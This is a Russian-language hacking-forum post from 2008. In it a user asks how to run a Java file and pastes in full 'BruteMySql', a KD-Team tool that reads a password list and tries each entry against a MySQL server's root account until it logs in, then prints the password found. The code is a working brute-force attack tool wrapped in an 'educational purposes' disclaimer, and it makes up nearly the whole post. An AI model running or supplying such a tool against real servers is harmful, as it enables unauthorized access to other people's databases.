
10.04.2008, 01:42
|
|
Познающий
Регистрация: 12.02.2008
Сообщений: 90
С нами:
9601728
Репутация:
20
|
|
Сообщение от ZET36
Rogun
это не javasript это Java два разных языка
так же как и vbscript (Visual Basic Script) и Basic
оО а я думаю, что то не то=/ а как запустить это?  а то там всё равно текстовый фаил в формате "JAVA" через cmd он просто тупо открывается как тестовик ....
Код:
/* ++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
+This is a little Disclaimer for if you havn't read the on on our site. + +The tools and
tutorials KD-Team develops and publishes are only ment
for + +educational purpose only.WE DO
NOT encourage the use of this tools and +
+tutorials for mailicious purpose.We learned a lot during
the development of them + +so we hope you also
learn and don't just use it without any brains.
+ +We take completly NO responsability for any
damage caused by them nor + +are we or our isp
responsible for what you do with them.
+ +Greetz: KD-Team
+ + http://www.kd-team.com
+
++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++
*/ /* * Created on 1-okt-2005 * SSLClient v0.1 *
TODO: * - implement logger * * Credits: * * Author: KD-Team */ import java.sql.*;
import java.io.*; public class BruteMySql {
public static void main(String[] args) {
BufferedReader passwordReader; String
curPass = ""; String passFileName = "pass.txt"; Connection con = null; try { Class.forName("com.mysql.jdbc.Driver"); } catch (ClassNotFoundException cnfe) { cnfe.printStackTrace(); System.exit(0); } try { passwordReader = new BufferedReader(new FileReader(passFileName)); while((curPass = passwordReader.readLine()) != null) { try { String url ="jdbc:mysql://
***.***.***.***:3306/";
DriverManager.setLoginTimeout(7);
con =
DriverManager.getConnection(url,"root", curPass);
}
catch(SQLException sqle)
{
//just ignore the password which are
incorrect }
if(con != null)
{
con.close();
break;
} }
}
catch(FileNotFoundException fnfe) {
System.out.println("file
with passes not found");
return; }
catch(IOException ioe) {
System.out.println(ioe.getStackTrace()); return; } catch(SQLException sqle)
{ //ignore if we aren't able to close the connection }
System.out.println("CORRECT
PASS: " + curPass); } }
Последний раз редактировалось Rogun; 10.04.2008 в 01:47..
|
|
|